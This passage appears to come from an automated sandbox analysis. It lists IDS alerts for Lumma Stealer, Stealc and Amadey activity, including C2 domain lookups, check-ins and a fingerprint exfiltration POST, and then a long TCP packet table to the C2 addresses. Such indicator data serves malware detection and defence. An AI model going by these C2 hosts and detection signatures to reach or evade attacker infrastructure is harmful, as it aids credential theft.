2024-10-24T18:09:37.943963+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	65515	1.1.1.1	53	UDP
2024-10-24T18:09:37.962938+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	64074	1.1.1.1	53	UDP
2024-10-24T18:09:37.981441+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	64110	1.1.1.1	53	UDP
2024-10-24T18:09:37.998306+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	50929	1.1.1.1	53	UDP
2024-10-24T18:09:38.012836+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	56637	1.1.1.1	53	UDP
2024-10-24T18:09:38.025655+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	54065	1.1.1.1	53	UDP
2024-10-24T18:09:38.573503+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50015	185.215.113.37	80	TCP
2024-10-24T18:09:39.583100+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50017	104.102.49.254	443	TCP
2024-10-24T18:09:40.004228+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50020	185.215.113.43	80	TCP
2024-10-24T18:09:40.457854+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50024	104.21.53.8	443	TCP
2024-10-24T18:09:40.457854+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50024	104.21.53.8	443	TCP
2024-10-24T18:09:43.128130+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50028	104.21.53.8	443	TCP
2024-10-24T18:09:43.128130+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50028	104.21.53.8	443	TCP
2024-10-24T18:09:47.643919+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50044	104.21.53.8	443	TCP
2024-10-24T18:09:48.939306+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50050	104.21.53.8	443	TCP
2024-10-24T18:09:49.862888+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50051	185.215.113.37	80	TCP
2024-10-24T18:09:59.076819+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50053	185.215.113.16	80	TCP
2024-10-24T18:09:59.502972+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50060	104.21.53.8	443	TCP
2024-10-24T18:10:01.901524+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50063	185.215.113.37	80	TCP
2024-10-24T18:10:05.865207+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50065	185.215.113.37	80	TCP
2024-10-24T18:10:16.816006+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50098	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 18:07:59.929413080 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:07:59.929459095 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:07:59.929527044 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:07:59.932002068 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:07:59.932015896 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:00.795038939 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:00.795216084 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:00.806252003 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:00.806267977 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:00.806668043 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:00.855936050 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:00.896173954 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:00.939335108 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485732079 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485793114 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485835075 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.485846043 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485893965 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485924959 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485935926 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.485949993 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.485949993 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.485949993 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.485961914 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.486025095 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.604948044 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.605011940 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.605110884 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.605201006 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.605201960 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.605216980 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.605361938 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.605412006 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.608033895 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.608033895 CEST	49708	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:08:01.608056068 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.608067989 CEST	443	49708	104.102.49.254	192.168.2.6
Oct 24, 2024 18:08:01.650599003 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:01.650696039 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:01.650787115 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:01.651101112 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:01.651139975 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.270350933 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.270495892 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.273169994 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.273190975 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.273535967 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.274702072 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.274744987 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.274940014 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411217928 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411391973 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411464930 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.411478043 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411505938 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411555052 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.411596060 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411784887 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.411844969 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.415043116 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.415083885 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.415117025 CEST	49709	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.415132046 CEST	443	49709	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.492413044 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.492459059 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:02.492527962 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.492804050 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:02.492820024 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.107677937 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.107769966 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.109335899 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.109364986 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.109718084 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.111578941 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.111620903 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.111684084 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628145933 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628320932 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628384113 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.628418922 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628509045 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628551006 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.628559113 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628653049 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628691912 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.628699064 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628815889 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.628853083 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.628859043 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.683901072 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.683936119 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.730791092 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.744654894 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.744831085 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.744900942 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.744923115 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745270967 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745356083 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745420933 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.745430946 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745476007 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.745484114 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745570898 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745619059 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.745685101 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.745702982 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.745717049 CEST	49710	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.745723963 CEST	443	49710	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.901612043 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.901707888 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:03.901794910 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.902121067 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:03.902158022 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.543967962 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.544076920 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:04.545562983 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:04.545587063 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.545983076 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.547828913 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:04.547954082 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:04.547996044 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.934554100 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.934798002 CEST	443	49712	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:04.934886932 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:04.934930086 CEST	49712	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.100316048 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.100368023 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.100769043 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.101161003 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.101176977 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.760765076 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.760926008 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.762453079 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.762466908 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.762857914 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.764064074 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.764240026 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.764270067 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:05.764329910 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:05.764338017 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:06.336889982 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:06.337136030 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:06.337227106 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:06.337332964 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:06.337352991 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:06.572477102 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:06.572536945 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:06.572611094 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:06.572907925 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:06.572932959 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.181782007 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.181863070 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.183548927 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.183562040 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.183895111 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.185626984 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.185802937 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.185842037 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.185899019 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.185909986 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.717200041 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.717334032 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:07.717407942 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.717587948 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:07.717607021 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.056051016 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.056143999 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.056288958 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.056641102 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.056679010 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.696723938 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.696918964 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.698457956 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.698484898 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.698889017 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:08.700274944 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.700366974 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:08.700375080 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:09.227965117 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:09.228076935 CEST	443	49716	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:09.228338003 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:09.228375912 CEST	49716	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:09.777134895 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:09.777231932 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:09.777379036 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:09.777625084 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:09.777662039 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.399749041 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.399899006 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.401145935 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.401174068 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.401432037 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.406501055 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.407263994 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.407316923 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.407437086 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.407485962 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.407639980 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.407700062 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.407845020 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.407896042 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.408062935 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408116102 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.408314943 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408355951 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.408376932 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408401966 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.408529043 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408571005 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.408610106 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408698082 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.408744097 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.418776035 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.419015884 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.419078112 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.419080973 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.419131041 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.419136047 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:10.419236898 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:10.423918009 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:12.515117884 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:12.515221119 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:12.515274048 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:12.521915913 CEST	49722	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:12.521945000 CEST	443	49722	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:12.543811083 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:12.543895960 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:12.543986082 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:12.544306993 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:12.544339895 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.158849001 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.158958912 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.160212994 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.160243034 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.160589933 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.161827087 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.161866903 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.161925077 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.510232925 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.510344982 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.510413885 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.510659933 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.510716915 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.510749102 CEST	49739	443	192.168.2.6	104.21.53.8
Oct 24, 2024 18:08:13.510767937 CEST	443	49739	104.21.53.8	192.168.2.6
Oct 24, 2024 18:08:13.512495041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:13.518857956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:13.518932104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:13.519097090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:13.524744987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437304020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437342882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437370062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437400103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437419891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437438965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437465906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437479973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437495947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437511921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.437561035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.437561035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.437612057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.437612057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.443407059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.496558905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.594204903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594237089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594294071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594310045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594479084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.594480038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.594628096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594650030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594682932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594696999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.594717979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.594748974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.595448017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.595547915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.595563889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.595585108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.637099028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.714274883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714319944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714337111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714351892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714375973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.714417934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:14.714596033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714612007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:14.714627028 CEST	80	49744	185.215.113.16	192.168.2.6
